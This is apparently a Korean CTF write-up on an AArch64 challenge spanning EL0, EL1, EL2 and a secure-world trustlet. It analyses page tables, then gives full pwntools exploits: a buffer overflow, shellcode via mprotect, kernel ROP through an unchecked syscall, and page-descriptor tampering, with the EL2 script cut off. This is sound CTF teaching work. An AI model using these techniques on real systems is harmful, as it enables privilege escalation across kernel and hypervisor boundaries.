        IA: 0x412000 ((0 << 39) + (0 << 30) + (0x02 << 21) + (0x12 << 12))
        
        IPA: 0x2F000
      - 0x13: 0…
    - 0x03: 0 …
  - 0x01: 0 …
- 0x0001: 0 …
- 0x00FF: 0x24003 ->
  - 0x0000: 0 …
  - 0x01FD: 0x25003 ->
    - 0x0000: 0 …
    - 0x01FF: 0x26003 ->
      - 0x0000: 0 …
      - 0x01FE: 0x60000000030443 - 0x01FF: 0x60000000031443
        
        UXN = 1
        
        PXN = 1
        
        AF = 1
        
        AP = 0b01; PrivRead, PrivWrite, UnprivRead, UnprivWrite
        
        IA: 0x7FFF7FFFE000 - 0x7FFF7FFFF000 ((0xFF << 39) + (0x1FD << 30) + (0x1FF << 21) + (n << 12)) (0x1FE <= n <= 0x1FF)
        
        IPA: 0x3n000 (0 <= n <= 1)
- 0x0100: 0 …
TTBR1_EL1 ->
- 0x000: 0 …
- 0x01FF: 0x1C003 ->
  - 0x000: 0 …
  - 0x01FF: 0x1D003 ->
    - 0x00: 0x1E003 ->
      - 0x00: 0x40000000000483 - 0x0A: 0x4000000000A483
        
        UXN = 1
        
        AF = 1
        
        AP = 0b10; PrivRead
        
        IA: 0xFFFFFFFFC000n000 ((0xFFFF << 48) + (0x1FF << 39) + (0x1FF << 30) + (0 << 21) + (n << 12)) (0 <= n <= A)
        
        IPA: 0xn000 (0 <= n <= A)
      - 0x0B: 0
      - 0x0C: 0x6000000000C403 - 0x3A: 0x6000000003A403
        
        UXN = 1
        
        PXN = 1
        
        AF = 1
        
        AP = 0b00; PrivRead, PrivWrite
        
        IA: 0xFFFFFFFFC00nn000 ((0xFFFF << 48) + (0x1FF << 39) + (0x1FF << 30) + (0 << 21) + (n << 12)) (0x0C <= n <= 0x3A)
        
        IPA: 0xnn000 (0x0C <= nn <= 0x3A)
      - 0x3B: 0 …
    - 0x01: 0 …
    - 0x48: 0x1F003 ->
      - 0x00: 0x6000000003B403
        
        UXN = 1
        
        PXN = 1
        
        AF = 1
        
        AP = 0b00; PrivRead, PrivWrite
        
        IA: 0xFFFFFFFFC9000000 ((0xFFFF << 48) + (0x1FF << 39) + (0x1FF << 30) + (0x48 << 21) + (0 << 12))
        
        IPA: 0x3B000
      - 0x01: 0 …

그리고 EL2 의 Exception 을 호출하여 EL2 의 Transltaion Table Entry 를 변경한다:

VTTBR_EL2: 0x40106000 ->
- 0x00: 0x40107003 (Descriptor Entry: 0x40107000) ->
  - 0x00: 0x40000443 (기존과 동일)
  - 0x01: 0x40001443 (기존과 동일)
  - …
  - 0x0B: 0x4000B443 (기존과 동일)
  - 0x0C: 0x4000004000C4C3 (기존과 동일)
  - 0x0D: 0x4000004000D4C3 (기존과 동일)
  - …
  - 0x2B: 0x4000004002B4C3 (기존과 동일)
  - 0x2C: 0x4002C443 - 0x2E: 0x4002E443 ->
    - Page Entry
    - AF = 1
    - AP = 0b01
    - IA = 0xnn000 ((0 << 21) + (0xnn << 12)) (0x2C <= nn <= 0x2E)
    - OA = 0x400nn000 (0x2C <= nn <= 0x2E)
  - 0x2F: 0x4000004002F4C3 (기존과 동일)
  - …
  - 0x3A: 0x4000004003A4C3 (기존과 동일)
  - 0x3B: 0x400000090004C3 (기존과 동일)
  - 0x3C: 0 … (기존과 동일)
- 0x08: 0 … (기존과 동일)

SMC 호출

EL0 로 넘어가기 전에 SMC 0x00 를 호출한다. 이 때 설정되는 레지스터는 다음과 같다:

X0 = 0x83000001
X1 = 0
`X2 = 0
X3 = 0

그리고 SMC 0x00 이 호출되면 EL2 의 하위 EL 에서 호출되는 Lower EL using AArch64 Synchronous Exception 가 호출된다. 그리고 이 때의 ESR_EL2.EC = 0x17 이므로 TEE-OS 를 초기화한다.

EL0 로 넘어가면서 EL0 의 EntryPoint(start) 호출

EL0 으로 넘어가기 위해 사용하는 레지스터는 다음과 같다:

SPSR_EL1: 0x3c5; E=1, A=1, I=1, F=1, EL0
ELR_EL2: VA:0x4000e8 (PA:?)

그리고 ERET 을 통해 EL1 의 EntryPoint 를 실행한다.

EL0

EL0 의 EntryPoint 는 bios.bin 의 0x000B_C0F8 에 위치한다. 메모리에 로드되면 EL1_VA:0x4000E8(= PA:0x4000E8) 에 위치한다.
이 부분은 ELF 파일이므로 binwalk 를 사용하면 ELF 를 추출할 수 있다. 또한 심볼도 존재한다.

Secure World

Secure World 는 PA:0xE40000 에 위치하며, 메모리에 적재되기 전에는 0x20000 에 위치한다. 또한 AArch32 로 작성되어 있다.

설정

Secure World 는 EL3 에서 설정된다. 코드 영역은 EL3 의 EntryPoint 에서 0xE40000 로 0x20000 의 값을 복사하면서 설정된다. 이때 유의해야 할 부분은 Secure World 로 넘어갈 때 SPSR=0x1D3 이고 nRW(M[4]=1 이므로 AARCH32 로 동작한다. 그리고 M[3:0]=0b0011 이므로 Supervisor 로 들어간다.

그리고 실제로 Secure World 의 초기 상태를 만들고 실행하는 부분은 EL3 의 SMC Handler 에서 진행한다.

Secure World 초기화

Secure World 로 부팅되면 여러가지 초기화를 진행하며 여기서 초기화하는 것은 다음과 같다:

MMU 초기화
레지스터 설정
Exception Handler 설정

MMU 설정

최종적으로 설정되를 Translation Table 은 다음과 같다.

TTBCR: 0x80802504; EAE=1, EPD=1, SHO=0b10, ORGN0=0b01, IRGN0=0b01, T0SZ=0b100
TTBR0: 0xE44000 ->
- 0x00: 0…
- 0x08: 0xE4D003 ->
  - 0x00: 0x900060F
  - 0x01: 0…
- 0x09: 0…
- 0x40: 0xE85003
  - 0x000: 0xE40068F
  - 0x001: 0xE40168F
  - 0x002: 0xE40268F
  - 0x003: 0x2000000E40360F
  - …
  - 0x087: 0x2000000E48760F
  - 0x088: 0xE48860F
  - 0x089: 0xE48960F
  - …
  - 0x1FF: 0xE5FF60F
- 0x41: 0…
- 0x7F: 0xEC4003 ->
  - 0x00: 0x2000000008768F
  - 0x01: 0x2000000008868F
  - …
  - 0x10: 0x2000000009768F
  - 0x11: 0…
- 0x80: 0…

위 값들을 해석하면 다음과 같다:

TTBR0: 0xE44000 ->
- 0x00: 0…
- 0x08: 0xE4D003 ->
  - 0x00: 0x900060F
    - AttrIndx[2:0] = 0b011
      - Use MAIR0
    - AP[2:1] = 0b00; Read/write, only at PL1
    - AF = 1
    - SH[1:0] = 0b10; Outer Shareable
    - IA = 0x1000000 ((0x08<<21)+(0x00<<12))
    - OA = 0x9000000
  - 0x01: 0…
- 0x09: 0…
- 0x40: 0xE85003
  - 0x000: 0xE40068F ~ 0x002: 0xE40268F
    - AttrIndx[2:0] = 0b011
      - Use MAIR0
    - AP[2:1] = 0b10; Read-only, only at PL1
    - AF = 1
    - SH[1:0] = 0b10; Outer Shareable
    - IA = 0x800n000 ((0x40<<21)+(0x0n<<12)) (0x0 <= n < 0x3)
    - OA = 0xE40n000 (0x0<= n < 0x3)
  - 0x003: 0x2000000E40360F ~ 0x087: 0x2000000E48760F
    - AttrIndx[2:0] = 0b011
      - Use MAIR0
    - AP[2:1] = 0b00; Read/write, only at PL1
    - AF = 1
    - PXN = 1
    - SH[1:0] = 0b10; Outer Shareable
    - IA = 0x80nn000 ((0x40<<21)+(0xnn<<12)) (0x03 <= nn < 0x88)
    - OA = 0xE4nn000 (0x03<= n <= 0x88)
  - 0x088: 0xE48860F ~ 0x1FF: 0xE5FF60F
    - AttrIndx[2:0] = 0b011
      - Use MAIR0
    - AP[2:1] = 0b00; Read/write, only at PL1
    - AF = 1
    - SH[1:0] = 0b10; Outer Shareable
    - IA = 0x8nnn000 ((0x40<<21)+(0xnnn<<12)) (0x088 <= nnn < 0x200)
    - OA = 0xEnnn000 (0x488<= nnn < 0x600)
- 0x41: 0…
- 0x7F: 0xEC4003 ->
  - 0x00: 0x2000000008768F ~ 0x10: 0x2000000009768F
    - AttrIndx[2:0] = 0b011
      - Use MAIR0
    - AP[2:1] = 0b10; Read-only, only at PL1
    - AF = 1
    - PXN = 1
    - SH[1:0] = 0b10; Outer Shareable
    - IA = 0xFEnn000 ((0x7F<<21)+(0xnn<<12)) (0x00 <= nn < 0x11)
    - OA = 0xnnn00 (0x870<= nnn < 0x980)
  - 0x11: 0…
- 0x80: 0…

레지스터 설정

별로 중요하지는 않지만 설정하는 레지스터는 다음과 같다:

PRRR: 0xff440400; Not used because of TTBCR.EAE. Instead use MAIR0.
DACR: 0x55555555; D0…D15=0b01
SCTLR: I|=1, ITD|=1, C|=1, M|=1
CPACR: ASEDIS|=0, CP11|=0b11, CP10|=0b11

Exception Handler 설정

AArch32 의 Exception Handler 는 AArch64 와는 다르게 각 핸들러당 하나의 b <func> 로 이루어져 있다.
그리고 그 핸들러 중에서 Supervisor Exception Handler 는 SEL0 에서 svc 를 호출할 때 호출되며 Data Abort Exception Handler 는 적절하지 않은 범위에 접근할 때 호출된다. 또 중요한 Handler 는 SecureCall 을 처리하는 핸들러이다.

Supervisor Exception Handler 의 기능은 다음과 같다:

svc #0: Return to normal world
svc #1: IDK…
svc #2: Allocate empty page
svc #3: Free using page

SecureCall 의 기능은 다음과 같다:

SECURE_CALL_NUM = 0x83000003: Register WSM
SECURE_CALL_NUM = 0x83000004: Unregister WSM
SECURE_CALL_NUM = 0x83000005: Init TrustLet
SECURE_CALL_NUM = 0x83000006: TCI Call

SecureCall

하나씩 제대로 살펴보면 다음과 같다.

SECURE_CALL_NUM = 0x83000003: Register WSM
- 0x2000000 에서 0x2400000 까지의 SEL:VA 중에 비어있는 SEL:VA 와 주어진 PA 를 매핑시킨다.
- 주어진 PA 는 NSEL:VA 와 매칭되어야 한다.
SECURE_CALL_NUM = 0x83000004: Unregister WSM
- 주어진 PA 에 맞는 VA 를 할당 해제한다.
SECURE_CALL_NUM = 0x83000005: Init TrustLet
- 주어진 WSM 에 존재하는 TrustLet 을 VA 0x1000 (code), 0x2000 (data), 0x100000 (data), 0xFF8000 (?) 에 로드한다.
  - va = 0x1000, size = 0x1000, prot = 0b1010; NS=0, PXN=1, XN=0, UnprivilegedAccess=1, RO=0
  - va = 0x2000, size = 0x1000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0
  - va = 0x100000, size = 0x82000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0
  - va = 0xFF8000, size = 0x8000, prot = 0b1110; NS=0, PXN=1, XN=1, UnprivilegedAccess=1, RO=0
- 이 때 사용하는 모든 Page 정보와 Code 등은 전부 NS 에서 WSM 를 통해 전달하며 S.EL1 에서는 그 trustlet 의 무결성을 전달한다.
- 그리고 이 때 trustlet 의 entrypoint 도 설정한다.
SECURE_CALL_NUM = 0x83000006: TCI Call
- 로드한 trustlet 의 함수를 호출한다.

Trustlet

Trustlet 의 메인 로직은 SEL0_VA:0x126A 에 존재한다. 여기서는 TCI struct 의 cmd 에 맞는 동작을 수행한다.
여기서 수행하는 동작은 load_key 와 save_key 가 있다.

Exploit

NS.EL0

익스 방법 1

설명

main 함수에서 load_trustlet 함수를 통해 TrustedApplication 과 소통을 할 수 있게 초기화한다. 그리고 cmdtb 라는 함수 포인터를 초기화한다.

run 함수를 통해 실질적인 동작을 수행하는데 이 함수에서는 scanf 를 통해 유저에게 입력을 받는다. scanf 는 gets(input) 를 호출한다. 이때 input 다음에 cmdtb 가 존재하므로 BoF 를 통해 cmdtb 를 변조할 수 있다.

플래그 얻기

NS.EL0 에는 print_flag 라는 함수가 존재한다. cmdtb 를 변조하여 이 함수를 호출하면 된다.

exploit.py

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64

def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())

def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)

p = remote("localhost", 6666)
elf = ELF("./el0")

pl = b"a" * 0x100
pl += p64(elf.symbols["print_flag"])
pl += p64(elf.symbols["print_flag"])
save_key(1, pl)

p.recvuntil(b"Flag (EL0): ")
FLAG = p.recvline()
log.info(f"FLAG : {FLAG.decode()}")

익스 방법 2

설명

mprotect 를 통해 R-X 영역을 만들 수 있으므로 쉘코드를 실행할 수 있다. 이를 이용하여 처음에 할당된 BUF 영역에 쉘 코드를 쓰고 R-X 영역으로 만든 뒤에 임의 코드를 실행하여 플래그를 얻을 수 있다.

exploit.py

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(elf.symbols["gets"])
    pl += p64(elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(elf.symbols["main"] + 0x44)
    pl += p64(elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
elf = ELF("./el0")

el0_arbitrary_code_execute(
    f"""
    ldr x0, ={elf.symbols['print_flag']};\n
    blr x0;\n
    mov x0, #0;\n
    ldr x1, ={elf.symbols['exit']};\n
    blr x1;\n
    """
)

p.interactive()


p.recvuntil(b"Flag (EL0): ")
FLAG = p.recvline()
log.info(f"FLAG : {FLAG.decode()}")

NS.EL1

EL0 에서 Arbitrary Code Execute 가 가능하므로 syscall 을 통해 EL1 의 취약점을 트리거 할 수 있다.
EL1 의 취약점은 syscall handler 에서 read, write 를 처리하는 부분에 존재한다. read, write 를 하는 과정에서 읽기 또는 쓰기를 수행하는 주소의 권한 (EL0 인지 EL1 인지) 를 검증하지 않는다. 따라서 EL0 에서 read 와 write 를 통해 EL1 의 영역에 읽기 및 쓰기가 가능하다. 그러면 read 를 통해 EL1 의 스택을 바꿔 ROP 를 진행할 수 있다.

하지만 한번의 read 를 통해 바꿀 수 있는 값은 1 바이트이므로 return address 를 적절히 바꿔 ROP 가 가능하게 만들어야 한다. syscall handler 의 return address 는 0xFFFFFFFFC000A830 이고 1 바이트만 변경할 수 있으므로 사용할 수 있는 가젯은 제한된다.
내가 찾은 가젯은 0xffffffffc0009430: ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret; 이다. 이 가젯을 통해 0xFFFFFFFFC0019C00 에 존재하는 값을 통해 ROP 를 할 수 있다.

Get Flag

ROP 를 통해 flag 를 출력해주는 함수를 호출하면 flag 를 얻을 수 있다.

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int], el0_additional_assembly: str = ""
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n
            
            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        
        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_additional_assembly
    )
    p.send(rop_chain)
    p.send(b"\x94")


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL1_PRINT_FLAG = 0xFFFFFFFFC0008408
chain = [0, EL1_PRINT_FLAG]
el1_return_oriented_programming(chain)

p.recvuntil(b"Flag (EL1): ")
FLAG = p.recvline()[:-1]
print(f"Flag: {FLAG.decode()}")

Arbitrary Code Execute

EL1 에서의 임의 코드 실행은 Page Table 을 변경하여 수행할 수 있다. EL1 에서의 TTBR0_EL1 과 TTBR1_EL1 은 각각 0x20000 와 0x1B000 로 설정되어 있다. 또한 이 주소 값은 PA:0x40020000 와 PA:0x4001B000 과 같다.

다음 그림을 보면 알 수 있듯 PA:0x400nn000 은 EL1:0xFFFF_FFFF_C00n_n000 과 매핑되어 있다는 것을 알 수 있다. 그러면 상기한 read 의 취약점을 이용해서 TTBRn_EL1 에 있는 Page Descriptor 들을 바꿀 수 있다.

Page Descriptor 를 변경할 수 있으므로 UXN, PXN 이 모두 해제된 페이지를 만들 수 있다. 다만 RWX 영역은 EL2 에서 방지하므로 EL1 에서 mmap 으로 RW- 영역을 만들고 원하는 쉘 코드를 작성한 뒤 R-X 로 변경한 뒤에 Page Descriptor 를 변경해야 한다.

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int],
    el0_head_assembly: str = "",
    head_input: bytes = b"",
    el0_tail_assembly: str = "",
    tail_input: bytes = b"",
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = rop_chain[:2] + [0] * 2 + rop_chain[2:]
    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        el0_head_assembly
        + f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n
            
            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        
        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_tail_assembly
    )
    p.send(head_input)
    p.send(rop_chain)
    p.send(b"\x94")
    p.send(tail_input)


def el1_arbitrary_code_execute(assembly: str) -> None:
    NEW_MAP_ADDR = 0x7FFEFFFFB000
    DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP = 0xFFFFFFFFC0028FD8
    chain = [0, NEW_MAP_ADDR]
    el1_return_oriented_programming(
        rop_chain=chain,
        el0_head_assembly=f"""
            mov x0, #0;\n
            ldr x1, ={hex(0x1000)};\n
            mov x2, #3;\n
            mov x3, xzr;\n
            mov x4, xzr;\n
            mov x5, #0xFFFFFFFFFFFFFFFF;\n
            ldr x6, ={el0_elf.symbols['mmap']};\n
            blr x6;\n
            
            mov x20, x0;\n
            
            ldr x6, ={el0_elf.symbols['gets']};\n
            blr x6;\n
            
            mov x0, x20;\n
            ldr x1, ={hex(0x1000)};\n
            mov x2, #5;\n
            ldr x6, ={el0_elf.symbols['mprotect']};\n
            blr x6;\n
            
            mov x0, 0;\n
            ldr x1, ={hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_MAP+6)};\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n
            
            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        """,  # this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000
        head_input=make_shellcode(assembly) + b"\n" + b"\x00",
    )


p = remote("localhost", 6666)
# p = process("../share/run.sh")
# p = process("../share/run_debug.sh")
el0_elf = ELF("./el0")

EL1_PRINT_FLAG = 0xFFFFFFFFC0008408
EL1_EXIT = 0xFFFFFFFFC00091A4
el1_arbitrary_code_execute(
    f"""
    ldr x2, ={hex(EL1_PRINT_FLAG)};\n
    blr x2;\n
    
    ldr x2, ={hex(EL1_EXIT)};\n
    blr x2;\n
    """
)

p.recvuntil(b"Flag (EL1): ")
FLAG = p.recvline()[:-1]
print(f"Flag: {FLAG.decode()}")

NS.EL2

EL2 부터는 플래그를 출력해주는 함수가 없으므로 Arbitrary Code Execute 만을 서술한다.
EL2 의 취약점은 hvc 에서 IPA 의 Page Descriptor 설정하는데 존재한다. descriptor 를 설정할 때 ipa 의 범위는 검증하지만, descriptor 의 범위는 검증하지 않는다. 그리고 ipa 의 하위 바이트를 검증하지 않으므로 RWX 영역을 만들 수 있다.

from pwn import *

# context.log_level = "debug"
context.arch = "aarch64"
context.bits = 64
context.endian = "little"

DUMMY_VALUE = 0xDEAD_BEEF_CAFE_BEBE

EL0_STACK_LOW = 0x7FFF_7FFF_E000
EL0_SFP_IN_RUN = 0x7FFF_7FFF_FFA0

EL0_BUF = 0x7FFE_FFFF_D000
EL0_WSM = 0x7FFE_FFFF_E000

EL0_LDP_X29_X30_SP_RET = 0x0040_00FC
EL0_LDR_X19_LDP_X29_X30_SP_RET = 0x0040_0294
EL0_RET = 0x0040_0100


def make_shellcode(assembly: str) -> bytes:
    shellcode = asm(assembly)
    assert b"\n" not in shellcode
    return shellcode


def load_key(idx: int):
    p.sendlineafter(b"cmd> ", b"0")
    p.sendlineafter(b"index: ", str(idx).encode())


def save_key(idx: int, key: bytes):
    p.sendlineafter(b"cmd> ", b"1")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"key: ", key)


def el0_arbitrary_code_execute(assembly: str) -> None:
    pl = b"a" * 0x100
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(el0_elf.symbols["gets"])
    save_key(1, pl)
    pl = b"a" * 0x120
    pl += make_shellcode(assembly)
    assert len(pl) <= 0x1000
    p.sendline(pl)

    pl = b"a" * (1 + 4)
    pl += b"\x00" * (0x100 - len(pl))
    pl += p64(el0_elf.symbols["main"] + 0x44)
    pl += p64(el0_elf.symbols["mprotect"])
    save_key(0x1000, pl)

    load_key(1)

    pl = b"a" * 0x100
    pl += p64(EL0_RET)
    pl += p64(el0_elf.symbols["gets"])
    pl += p64(DUMMY_VALUE)
    pl += p64(EL0_SFP_IN_RUN - 0x30)
    save_key(1, pl)
    pl = p64(EL0_STACK_LOW + 0x100)
    pl += p64(EL0_BUF + 0x120)
    p.sendline(pl)


def el1_return_oriented_programming(
    rop_chain: list[int],
    el0_head_assembly: str = "",
    head_input: bytes = b"",
    el0_tail_assembly: str = "",
    tail_input: bytes = b"",
) -> None:
    ROP_CHAIN_ADDR = 0xFFFFFFFFC0019C00
    EL1_SYSCALL_HANDLER_RET_ADDR = 0xFFFFFFFFC0019BB8

    rop_chain = rop_chain[:2] + [0] * 2 + rop_chain[2:]
    rop_chain = b"".join([p64(gadget) for gadget in rop_chain])
    assert b"\n" not in rop_chain and len(rop_chain) <= 0x420

    el0_arbitrary_code_execute(
        el0_head_assembly
        + f"""  
        mov x22, xzr;\n
        ldr x23, ={len(rop_chain)};\n
        ldr x24, ={ROP_CHAIN_ADDR};\n
        read_rop_chain:
            mov x0, 0;\n
            add x1, x24, x22;\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n
            
            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        
        mov x0, 0;\n
        ldr x1, ={hex(EL1_SYSCALL_HANDLER_RET_ADDR+1)};\n
        mov x2, 1;\n
        ldr x5, ={el0_elf.symbols['read']};\n
        blr x5;\n
        """
        + el0_tail_assembly
    )
    p.send(head_input)
    p.send(rop_chain)
    p.send(b"\x94")
    p.send(tail_input)


def el1_arbitrary_code_execute(assembly: str) -> None:
    NEW_PAGE_ADDR = 0x7FFEFFFFB000
    DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE = 0xFFFFFFFFC0028FD8
    chain = [0, NEW_PAGE_ADDR]
    el1_return_oriented_programming(
        rop_chain=chain,
        el0_head_assembly=f"""
            mov x0, #0;\n
            mov x1, 0x01000;\n
            mov x2, #3;\n
            mov x3, xzr;\n
            mov x4, xzr;\n
            mov x5, #0xFFFFFFFFFFFFFFFF;\n
            ldr x6, ={el0_elf.symbols['mmap']};\n
            blr x6;\n
            
            mov x20, x0;\n
            
            ldr x6, ={el0_elf.symbols['gets']};\n
            blr x6;\n
            
            mov x0, x20;\n
            mov x1, 0x01000;\n
            mov x2, #5;\n
            ldr x6, ={el0_elf.symbols['mprotect']};\n
            blr x6;\n
            
            mov x0, 0;\n
            ldr x1, ={hex(DESCRIPTOR_TABLE_ADDR_OF_NEW_PAGE+6)};\n
            mov x2, 1;\n
            ldr x5, ={el0_elf.symbols['read']};\n
            blr x5;\n
            
            add x22, x22, 1;\n
            cmp x22, x23;\n
            b.lt read_rop_chain
        """,  # this mmap allocate NEW_MAP_ADDR(0x7ffeffffb000)-0x36000
        head_input=make_shellcode(assembly) + b"\n" + b"\x00",
    )


def el2_arbitrary_code_execute(assembly_or_shellcode: str | bytes) -> None:
    EL1_GET_CHAR = 0xFFFFFFFFC0009AD8
    if isinstance(assembly_or_shellcode, str):
        shellcode = make_shellcode(assembly_or_shellcode)
    else:
